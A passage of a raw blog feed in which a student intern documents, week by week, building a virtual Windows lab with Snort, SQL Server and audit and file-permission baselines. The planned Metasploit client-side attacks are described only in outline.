Starting with Windows Vista there are many different log types and ways to view them. I am almost of the opinion that Microsoft has overdone it and is causing information overload. This is mainly because I am not yet used to the new system; I'm sure once an admin gets familiar with the increased granularity, the new Event system will prove to be a great tool. More visibility is a good thing. There is a good article concerning the new system at &lt;a href="http://technet.microsoft.com/en-us/magazine/2008.03.auditing.aspx%20"&gt;http://technet.microsoft.com/en-us/magazine/2008.03.auditing.aspx&amp;nbsp;&lt;/a&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;span style="font-family: Verdana,sans-serif;"&gt;&lt;a href="http://1.bp.blogspot.com/_rPtLhh3m4P0/S6b8wIjg7xI/AAAAAAAAACQ/8vhhUYbBcp8/s1600-h/Clipboard05.png" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://1.bp.blogspot.com/_rPtLhh3m4P0/S6b8wIjg7xI/AAAAAAAAACQ/8vhhUYbBcp8/s320/Clipboard05.png" /&gt;&lt;/a&gt;&lt;span style="font-family: Verdana,sans-serif;"&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;br /&gt;&lt;span style="font-family: Verdana,sans-serif;"&gt;The security log can be of great use in trying to determine if something is going wrong on a system, but it isn't much good if you don't set your audit policy properly. Some of these settings may create too much noise for a real world scenario. The good news is that in the post XP world, you can exert really fine control over audit policy by using the command line tool auditpol.exe... try typing &lt;/span&gt;&lt;span style="color: #666666; font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;auditpol&amp;nbsp;&lt;/span&gt;&lt;br /&gt;&lt;span style="color: #666666; font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;&amp;nbsp;/list /subcategory:*&lt;/span&gt;&lt;span style="font-family: Verdana,sans-serif;"&gt; at the command prompt to get an idea of what's available. Since this is a lab, I am enabling almost all auditing. I will propagate the settings through group policy. I have set up a GPO in active directory to apply to the SimWitty OU that I created.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family: Verdana,sans-serif;"&gt;&lt;/span&gt;&lt;span style="font-family: Verdana,sans-serif;"&gt;&lt;b&gt;File System&lt;/b&gt;&lt;br /&gt;The file system is another place that you can spot signs of a problem. Obviously, sudden appearance of unknown files or folders could be a sign of a breach. A little less obvious sign could be changes in permissions. You can (on Vista and later) record the file permissions by using the icacls.exe tool. The following command would record permissions for files in c:\windows and below:&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: Verdana,sans-serif;"&gt;&lt;br /&gt;&lt;span style="font-size: small;"&gt;&lt;b style="color: #666666;"&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;&amp;nbsp; icacls c:\windows\*.* /save Baseline_ACLfile /T&lt;/span&gt;&lt;/b&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: Verdana,sans-serif;"&gt;&lt;span style="font-size: small;"&gt;&lt;b style="color: #666666;"&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;&amp;nbsp;&lt;/span&gt;&lt;/b&gt;&lt;/span&gt;&lt;br /&gt;You should then be able to redo this whenever you want, and compare against the baseline to see what may have changed (the files are sddl format listings and are unicode text). The benefit of these ACL files is that you can use them to restore permissions. Another (maybe simpler) way to get a baseline is to use a few commands such as:&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: #666666; font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;&amp;nbsp; dir /s /b c:\windows\*.* &amp;gt; dir_plain_baseline.txt&lt;/span&gt;&lt;br /&gt;&lt;span style="color: #666666; font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;&amp;nbsp; dir /s /b /ah c:\windows\*.* &amp;gt; dir_hidden_baseline.txt&lt;/span&gt;&lt;br /&gt;&lt;span style="color: #666666; font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;&amp;nbsp; dir /s /b /as c:\windows\*.* &amp;gt; dir_system_baseline.txt&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;div style="font-family: Verdana,sans-serif;"&gt;Vista has a new switch for the dir command (/r) that will even show alternate data streams, but it isn't very useful; it shows files with and without ADSs and it breaks when used with the /b(are) switch. Maybe it would be useful within powershell, or with some other additional filtering.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="font-family: Verdana,sans-serif;"&gt;&lt;/div&gt;&lt;div style="font-family: Verdana,sans-serif;"&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://4.bp.blogspot.com/_rPtLhh3m4P0/S6b_v2tsrWI/AAAAAAAAACY/0YFGNvbrwXw/s1600-h/Clipboard01.png" imageanchor="1" style="clear: right; float: right; margin-bottom: 1em; margin-left: 1em;"&gt;&lt;img border="0" src="http://4.bp.blogspot.com/_rPtLhh3m4P0/S6b_v2tsrWI/AAAAAAAAACY/0YFGNvbrwXw/s320/Clipboard01.png" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;b&gt;Performance Counters&lt;/b&gt;&lt;br /&gt;The performance monitoring capabilities are worlds better in the post XP world. Now called the Reliability and Performance Monitor, this MMC snap-in is a HUGE advance. A data collector set consists of three different modules. It can be created by right clicking user defined under Data Collector Sets and choosing new. After you set some properties, the collector set will appear and you can see the three modules (Performance Counter, Configuration, and Kernel Trace) by selecting the set. Right clicking each module and choosing properties allows you to add the desired counters.&lt;br /&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://2.bp.blogspot.com/_rPtLhh3m4P0/S6cAYrfWAuI/AAAAAAAAACg/walrbavLdfs/s1600-h/Clipboard02.png" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://2.bp.blogspot.com/_rPtLhh3m4P0/S6cAYrfWAuI/AAAAAAAAACg/walrbavLdfs/s320/Clipboard02.png" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;The template I used in Server 2008 adds all counters for processor by default. There were a few more that I thought would be useful, so I added&lt;/div&gt;&lt;div style="font-family: Verdana,sans-serif;"&gt;&lt;span style="color: #666666;"&gt;&amp;nbsp; \Memory\Available KBytes&lt;/span&gt;&lt;br /&gt;&lt;span style="color: #666666;"&gt;&amp;nbsp; \Memory\Committed Bytes&lt;/span&gt;&lt;br /&gt;&lt;span style="color: #666666;"&gt;&amp;nbsp; \Objects\Threads&lt;/span&gt;&lt;br /&gt;&lt;span style="color: #666666;"&gt;&amp;nbsp; \Objects\Processes&lt;/span&gt;&lt;br /&gt;&lt;span style="color: #666666;"&gt;&amp;nbsp; \Objects\Mutexes&lt;/span&gt;&lt;br /&gt;&lt;span style="color: #666666;"&gt;&amp;nbsp; \Process(_Total)\Virtual Bytes&lt;/span&gt;&lt;br /&gt;&lt;span style="color: #666666;"&gt;&amp;nbsp; \Process(_Total)\Working Set&lt;/span&gt;&lt;br /&gt;&lt;span style="color: #666666;"&gt;&amp;nbsp; \Process(_Total)\Handle Count&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="font-family: Verdana,sans-serif;"&gt;&lt;br /&gt;Once the trace has been run, the snap-in automatically produces a very slick report. The report can be viewed from within the snap-in, either as a report or graphically by right clicking the report and choosing view, or as an html report with IE.&lt;br /&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://2.bp.blogspot.com/_rPtLhh3m4P0/S6cAoVOTGjI/AAAAAAAAACo/rjxBET2L-78/s1600-h/Clipboard04.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://2.bp.blogspot.com/_rPtLhh3m4P0/S6cAoVOTGjI/AAAAAAAAACo/rjxBET2L-78/s320/Clipboard04.png" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;/div&gt;&lt;div style="font-family: Verdana,sans-serif;"&gt;All the above tools are native to the operating system. By using these tools and setting up a good baseline, I hope to be able to detect any changes that may occur through the penetration testing.&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4050993377161104768-1129679442644729859?l=jah-internship.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://jah-internship.blogspot.com/feeds/1129679442644729859/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://jah-internship.blogspot.com/2010/03/simwitty-internship-week-10.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4050993377161104768/posts/default/1129679442644729859'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4050993377161104768/posts/default/1129679442644729859'/><link rel='alternate' type='text/html' href='http://jah-internship.blogspot.com/2010/03/simwitty-internship-week-10.html' title='SimWitty Internship: Week 10'/><author><name>jah</name><uri>http://www.blogger.com/profile/17901521755465659883</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://3.bp.blogspot.com/_rPtLhh3m4P0/S1OM6ixjPzI/AAAAAAAAAAY/SSseKQaNyM4/S220/headshot.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://1.bp.blogspot.com/_rPtLhh3m4P0/S6b8wIjg7xI/AAAAAAAAACQ/8vhhUYbBcp8/s72-c/Clipboard05.png' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4050993377161104768.post-7664351722614224410</id><published>2010-03-14T19:51:00.004-05:00</published><updated>2010-03-14T19:55:08.210-05:00</updated><title type='text'>SimWitty Internship: Week 9</title><content type='html'>&lt;div style="font-family: Verdana,sans-serif;"&gt;I finished the lab installation/setup documentation this week. It came in at 21 pages and hopefully will work for anyone wishing to duplicate the lab. The document can be seen &lt;a href="http://www.simwitty.org/redmine/attachments/89/Install-Setup_draft_.doc"&gt;here&lt;/a&gt; [Word doc]. I also came up with a series of 6 tasks to fulfill the lab. Here is the basic list of remaining tasks:&lt;br /&gt;&lt;/div&gt;&lt;ol style="font-family: Verdana,sans-serif;"&gt;&lt;li&gt;Set up exploits and get a baseline of the systems.&lt;/li&gt;&lt;li&gt;Execute the exploits and investigate results.&lt;/li&gt;&lt;li&gt;Investigate methods to pivot within the LAN.&lt;/li&gt;&lt;li&gt;Attempt to compromise other machines.&lt;/li&gt;&lt;li&gt;Investigate results of monitoring.&lt;/li&gt;&lt;li&gt;Finalize documentation of lab results.&lt;/li&gt;&lt;/ol&gt;&lt;div style="font-family: Verdana,sans-serif;"&gt; More details on each task can be seen &lt;a href="http://www.simwitty.org/redmine/attachments/90/lab_proposal_draftv1_.doc"&gt;here&lt;/a&gt; [Word doc]. &lt;/div&gt;&lt;div style="font-family: Verdana,sans-serif;"&gt;&lt;br /&gt;I also did a slight revamp of the network design. The "internet facing" domain controller is now using a VirtualBox NAT interface rather than bridged. This will make scanning of the LAN from the outside much more difficult, more accurately simulating a well firewalled corporate LAN. I also moved the database services off of the domain controller and onto the Snort server. I think this more closely mirrors the real world.&lt;/div&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://www.simwitty.org/redmine/attachments/91/lab_network.png" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="433" src="http://www.simwitty.org/redmine/attachments/91/lab_network.png" width="640" /&gt;&lt;/a&gt;&lt;span style="font-family: Verdana,sans-serif;"&gt;&lt;/span&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4050993377161104768-7664351722614224410?l=jah-internship.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://jah-internship.blogspot.com/feeds/7664351722614224410/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://jah-internship.blogspot.com/2010/03/simwitty-internship-week-9.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4050993377161104768/posts/default/7664351722614224410'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4050993377161104768/posts/default/7664351722614224410'/><link rel='alternate' type='text/html' href='http://jah-internship.blogspot.com/2010/03/simwitty-internship-week-9.html' title='SimWitty Internship: Week 9'/><author><name>jah</name><uri>http://www.blogger.com/profile/17901521755465659883</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://3.bp.blogspot.com/_rPtLhh3m4P0/S1OM6ixjPzI/AAAAAAAAAAY/SSseKQaNyM4/S220/headshot.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4050993377161104768.post-6326154733300734454</id><published>2010-03-07T23:43:00.000-06:00</published><updated>2010-03-07T23:43:17.920-06:00</updated><title type='text'>SimWitty Internship: Week 8</title><content type='html'>&lt;span style="font-family: Verdana,sans-serif;"&gt;This week's blog isn't going to be real verbose. My two main tasks the last two weeks have been to come up with an actual plan of attack and to document a standard for the installation of all components of the lab. I am going to have to go a bit past deadline on this one, as creating good documentation is a lot of work.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family: Verdana,sans-serif;"&gt;The good news is that I have figured out my connectivity problems and can now reliably connect from the internal network to the external network. This bodes well for the actual successful completion of the lab.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family: Verdana,sans-serif;"&gt;As far as the actual attacks go, I am keeping it&lt;/span&gt;&lt;span style="font-family: Verdana,sans-serif;"&gt; pre&lt;/span&gt;&lt;span style="font-family: Verdana,sans-serif;"&gt;tty generic. I am going to use Metasploit to produce simulated client side attacks. The internal network has two workstations. One of these will get a malicious document &lt;i&gt;attached&lt;/i&gt; through simulated email and the other will get a malicious web link through simulated email. The goal of the attacks is to see what kind of pivot can be made into the internal network. The preferred method of attack will be through the use of meterpreter sessions due to the fact that they are the stealthiest and would be the sweetest to detect.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family: Verdana,sans-serif;"&gt;The documentation is the hard part. Even on a small simulated network with two servers and two workstations there is a ton to write. I have to cover installation of the server OS, the workstation OS, the installation and configuration of Active Directory and other server roles such as: DHCP, DNS, and RRAS. Once that is documented I have to install, configure, and document SQL Server 2008 and Snort.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family: Verdana,sans-serif;"&gt;One thing I will post up here on the blog, because it could be useful to others, concerns the Server 2008 OS and automatic activation. Microsoft offers the OS as a 60 day trial which can be legally "rearmed" three times before it has to be activated. This is a great feature, and wonderful for learning and testing. The problem with this is that the OS is set up to automatically go online and activate itself three days after the first logon.&lt;/span&gt; &lt;span style="font-family: Verdana,sans-serif;"&gt;You can see this by looking at the system properties (start, right click computer, choose properties). This&lt;span style="font-family: Verdana,sans-serif;"&gt; is very problematic in a lab environment, since you may well be wiping and reinstalling as you make mistakes and learn from them.&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family: Verdana,sans-serif;"&gt;&lt;span style="font-family: Verdana,sans-serif;"&gt;In searching for a solution, I saw many people who said that if you didn't enter a product key during install, then you wouldn't have the activation problem. The problem with this is that I was never presented with an opportunity to insert my product key during the OS install. Well, after lots of searching I found a solution on technet (&lt;a href="http://technet.microsoft.com/en-us/library/cc770903%28WS.10%29.aspx"&gt;http://technet.microsoft.com/en-us/library/cc770903%28WS.10%29.aspx&lt;/a&gt;). There is a registry setting that controls this behavior. The key is at &lt;span style="font-size: small;"&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SL\Activation&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="font-family: Verdana,sans-serif;"&gt; look for the value &lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;Manual&lt;span style="font-family: Verdana,sans-serif;"&gt; and change it from zero to one. You can see the effects immediately when you reopen system properties&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;. &lt;span style="font-family: Verdana,sans-serif;"&gt;The windows activation section should now show 59 days left til activation. To rearm the counter, you can use &lt;/span&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;c:\windows\system32\slmgr.vbs&lt;/span&gt; &lt;span style="font-family: Verdana,sans-serif;"&gt;If you read this file in notepad, you will see the different switches that can be used.&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4050993377161104768-6326154733300734454?l=jah-internship.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://jah-internship.blogspot.com/feeds/6326154733300734454/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://jah-internship.blogspot.com/2010/03/simwitty-internship-week-8.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4050993377161104768/posts/default/6326154733300734454'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4050993377161104768/posts/default/6326154733300734454'/><link rel='alternate' type='text/html' href='http://jah-internship.blogspot.com/2010/03/simwitty-internship-week-8.html' title='SimWitty Internship: Week 8'/><author><name>jah</name><uri>http://www.blogger.com/profile/17901521755465659883</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://3.bp.blogspot.com/_rPtLhh3m4P0/S1OM6ixjPzI/AAAAAAAAAAY/SSseKQaNyM4/S220/headshot.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4050993377161104768.post-5025813402347491307</id><published>2010-02-28T21:53:00.000-06:00</published><updated>2010-02-28T21:53:52.707-06:00</updated><title type='text'>SimWitty Internship: Week 7</title><content type='html'>&lt;span style="font-family: Verdana,sans-serif;"&gt;Well, I've got a lot of ground to cover this week and next. The first thing that I have been working on this week was trying to document a standard method for creating and installing the Virtual Network that I will be using for the upcoming lab. This entails documenting the setup of the two servers and the two workstations, and all the myriad settings involved.&lt;/span&gt;&lt;br style="font-family: Verdana,sans-serif;" /&gt;&lt;br style="font-family: Verdana,sans-serif;" /&gt;&lt;span style="font-family: Verdana,sans-serif;"&gt;It is kind of a pain having to work around Windows activation. At the start of the internship I was pretty excited, so I installed the servers and workstations without meticulously documenting every step. Now I am faced with having to kind of "roll back" everything I have done so that I can describe it. I am afraid to just delete the existing VMs and start over again for fear of setting off activation protections and being denied the ability to reinstall them at all. Note to self, be more restrained in the future.&lt;/span&gt;&lt;br style="font-family: Verdana,sans-serif;" /&gt;&lt;br style="font-family: Verdana,sans-serif;" /&gt;&lt;span style="font-family: Verdana,sans-serif;"&gt;I figured I would have to do some brushing up on Active Directory and such. It's been awhile since I took any server focused classes but I figured no big deal. Then I ran into my first major hurdle. When I was first testing the idea for this lab, I hadn't actually experimented with my proposed routing scheme. I just wanted to be sure that I could see all the traffic on the wire. Now I am rapidly discovering that 1.) I need a lot of brush up on routing tasks, or 2.) there is something going on due to this being a virtual set up that is causing problems. &lt;/span&gt;&lt;br style="font-family: Verdana,sans-serif;" /&gt;&lt;br style="font-family: Verdana,sans-serif;" /&gt;&lt;span style="font-family: Verdana,sans-serif;"&gt;If you recall week five's theoretical network diagram, I wanted to set up the main server (AD domain controller and database server) as a dual homed machine. The 'exterior' NIC would be either VirtualBox bridged or NAT and the 'interior' NIC would be VirtualBox internal networking. My problem is that I cannot get the server to route between the two interfaces.&lt;/span&gt;&lt;br style="font-family: Verdana,sans-serif;" /&gt;&lt;br style="font-family: Verdana,sans-serif;" /&gt;&lt;span style="font-family: Verdana,sans-serif;"&gt;I thought I would keep it simple at first, and just enabled IPEnableRouter in the registry and added a static default route to the external IP. This didn't work though. I next tried installing and configuring Routing and Remote Access and couldn't make that work either. I have manged to get the DNS and DHCP going but this damn routing is killing me. I haven't yet decided if it is a problem because of the 'virtualness' of the network or just that I am doing something wrong. I need to maybe try the VirtualBox host only interface and see if that works. Will have to get this figured out fast, because this coming week is the most important part of the project.&lt;/span&gt;&lt;br style="font-family: Verdana,sans-serif;" /&gt;&lt;br style="font-family: Verdana,sans-serif;" /&gt;&lt;span style="font-family: Verdana,sans-serif;"&gt;Next week the focus is on coming up with an actual plan of attack for the lab, and writing up a proposal for the idea. I need to get input from my adviser and other team members, adjust the proposal accordingly and then write it up. I rate this as a very important task so I will have to solve this routing dilemma ASAP.&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4050993377161104768-5025813402347491307?l=jah-internship.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://jah-internship.blogspot.com/feeds/5025813402347491307/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://jah-internship.blogspot.com/2010/02/simwitty-internship-week-7.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4050993377161104768/posts/default/5025813402347491307'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4050993377161104768/posts/default/5025813402347491307'/><link rel='alternate' type='text/html' href='http://jah-internship.blogspot.com/2010/02/simwitty-internship-week-7.html' title='SimWitty Internship: Week 7'/><author><name>jah</name><uri>http://www.blogger.com/profile/17901521755465659883</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://3.bp.blogspot.com/_rPtLhh3m4P0/S1OM6ixjPzI/AAAAAAAAAAY/SSseKQaNyM4/S220/headshot.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4050993377161104768.post-4150815785013406837</id><published>2010-02-22T01:48:00.000-06:00</published><updated>2010-02-22T01:48:50.390-06:00</updated><title type='text'>SimWitty Internship: Week 6</title><content type='html'>&lt;div style="font-family: Verdana,sans-serif;"&gt;This week was spent doing more work with Snort to get it running proper in the virtual network. In a Windows environment, that is a lot of work with piss-poor documentation... so I hope I am making a valued contribution on that level by writing all this out.&lt;br /&gt;&lt;br /&gt;The Simwitty project is working on a base set of instructions to govern getting Snort and MS SQL set up, just so everyone is on the same page. I followed these basic rules to get started but it took quite a bit of tweaking for things to start working. I documented all the steps I took for the install and that file will be available on the Simwitty Redmine pages.&lt;br /&gt;&lt;br /&gt;The first issue I had (as noted last week) was that Snort wasn't talking to the database. This was even after I located a copy of ntwdblib.dll (I also found out I needed msvcr71.dll on this particular machine). I found a tip from Microsoft for testing the connection to a SQL Server. This entailed creating a file with a .udl extension, which will open as a shell dialog when double clicked, but in reality is just a text file. Details at &lt;b style="color: #3d85c6;"&gt;How to connect to an instance of SQL Server Desktop Edition or of SQL Server 2005 Express Edition &lt;/b&gt;(&lt;a href="http://support.microsoft.com/kb/319930"&gt;http://support.microsoft.com/kb/319930&lt;/a&gt;) under the &lt;b&gt;Verify connectivity&lt;/b&gt; section.&lt;br /&gt;&lt;br /&gt;Once I created this file, it would connect fine but Snort was still a no go. I fired up Wireshark to see what was uhappening. In looking at the packets I could see the difference between the good connection and the failed connection. The thing that stood out was the difference between two strings.&lt;/div&gt;&lt;div style="font-family: Verdana,sans-serif;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="font-family: Verdana,sans-serif;"&gt;&lt;/div&gt;&lt;div style="font-family: Verdana,sans-serif;"&gt;&lt;span id="goog_1266824475357"&gt;&lt;/span&gt;&lt;/div&gt;&lt;div class="separator" style="clear: both; font-family: Verdana,sans-serif; text-align: center;"&gt;&lt;a href="http://4.bp.blogspot.com/_rPtLhh3m4P0/S4I1rYpioqI/AAAAAAAAACI/S3ABrkFVH2k/s1600-h/comparison2.png" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="169" src="http://4.bp.blogspot.com/_rPtLhh3m4P0/S4I1rYpioqI/AAAAAAAAACI/S3ABrkFVH2k/s320/comparison2.png" width="320" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;span style="font-family: Verdana,sans-serif;"&gt;Connect reads SQLEXPRESS and fail reads MSSQLServer. Thank God I am working with people that understand SQL Server, because I am very new to it. It was immediately pointed out to me that I must be running an instance with the name of SQLEXPRESS. By adding this to my snort.conf in the host definition of the database output section (sort of like a UNC, host=192.168.2.10\SQLEXPRESS) I was up and running.&lt;/span&gt;&lt;br style="font-family: Verdana,sans-serif;" /&gt;&lt;br style="font-family: Verdana,sans-serif;" /&gt;&lt;span style="font-family: Verdana,sans-serif;"&gt;Now it was just the ugly task of installing the Snort rules. As far as I could find, this procedure isn't clearly documented anywhere. At least nothing warned me of things like: 1) The snort.conf included with the snapshot is old and broken. Keep the one you modified from the install. 2) What's with the so_rules folder, is it necessary? I figured it was *nix related and deleted it. 3) Some files are newer in the snapshot, some files aren't. How to decide what to keep? 4) For crying out loud, do I need to install that signatures directory with its 16,000 files? It's a very frustrating experience and I am going to upload a file to the &lt;a href="http://www.simwitty.org/redmine/issues/show/11"&gt;Simwitty Redmine&lt;/a&gt; detailing my travails.&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4050993377161104768-4150815785013406837?l=jah-internship.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://jah-internship.blogspot.com/feeds/4150815785013406837/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://jah-internship.blogspot.com/2010/02/simwitty-internship-week-6.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4050993377161104768/posts/default/4150815785013406837'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4050993377161104768/posts/default/4150815785013406837'/><link rel='alternate' type='text/html' href='http://jah-internship.blogspot.com/2010/02/simwitty-internship-week-6.html' title='SimWitty Internship: Week 6'/><author><name>jah</name><uri>http://www.blogger.com/profile/17901521755465659883</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://3.bp.blogspot.com/_rPtLhh3m4P0/S1OM6ixjPzI/AAAAAAAAAAY/SSseKQaNyM4/S220/headshot.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://4.bp.blogspot.com/_rPtLhh3m4P0/S4I1rYpioqI/AAAAAAAAACI/S3ABrkFVH2k/s72-c/comparison2.png' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4050993377161104768.post-174631435990169412</id><published>2010-02-14T22:18:00.000-06:00</published><updated>2010-02-14T22:18:26.879-06:00</updated><title type='text'>SimWitty Internship: Week 5</title><content type='html'>&lt;span style="font-family: Verdana,sans-serif;"&gt;This week I was doing some thinking about how I want to configure my network within VirtualBox. As of right now it will be populated by two workstations and two servers. The workstations both run Windows XP pro sp2 and the Servers both run Windows Server 2008 Standard edition.&lt;br /&gt;&lt;br /&gt;One server will be configured to run the Snort engine and the other will be the database server. The database server will also be running: Active Directory as a domain controller, IIS, DNS, probably DHCP, and probably RRAS. VirtualBox can run its own DHCP server for internal networks (which this will be) via the command line VBoxManage, but I thought having the DHCP on an actual VM might make it more controllable.&lt;br /&gt;&lt;br /&gt;The two XP machines will be domain members. I haven't decided whether to join the Snort machine to the domain. I guess I should since it can't run in stealth mode anyway, being a Windows box.&lt;br /&gt;&lt;br /&gt;The Matriux machine is going to be an outsider for starters and we'll go from there. With the plan being to try client side attacks against the XP machines, I'm hoping the bad connections they make (to Matriux box) will be routed out to Matriux via the Domain Controller and if all goes according to plan the Snort machine will record everything. This is a conceptual map of what I am trying to achieve:&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;span style="font-family: Verdana,sans-serif;"&gt;&lt;a href="http://4.bp.blogspot.com/_rPtLhh3m4P0/S3jJ9UzcX1I/AAAAAAAAACA/FZ2PSxaHmSs/s1600-h/Network.jpg" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://4.bp.blogspot.com/_rPtLhh3m4P0/S3jJ9UzcX1I/AAAAAAAAACA/FZ2PSxaHmSs/s320/Network.jpg" /&gt;&lt;/a&gt;&lt;/span&gt;&lt;/div&gt;&lt;span style="font-family: Verdana,sans-serif;"&gt;I have also been working on getting Snort installed on its machine. All is going well, and I went by our "Snort Integration v1 (draft)" It runs and logs just fine on the local machine but I am having a hell of a time getting it to connect to the DB server. For something in such wide use, Snort is one of the most difficult and poorly documented programs ever... &lt;i&gt;Especially&lt;/i&gt; on Windows and &lt;i&gt;Especially&lt;/i&gt; using MS SQL.&lt;br /&gt;&lt;br /&gt;It took me a long time to find a trustworthy version of &lt;span style="color: #cc0000; font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;ntwdblib.dll&lt;/span&gt;, an old MS SQL interface library that Snort needs. I'm not even sure that SQL Server 2008 supports being used in this way. I think this will be the most difficult thing to get working. Well, at least my final class is over now so I have more time to dedicate to getting this thing working.&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4050993377161104768-174631435990169412?l=jah-internship.blogspot.com' alt='' 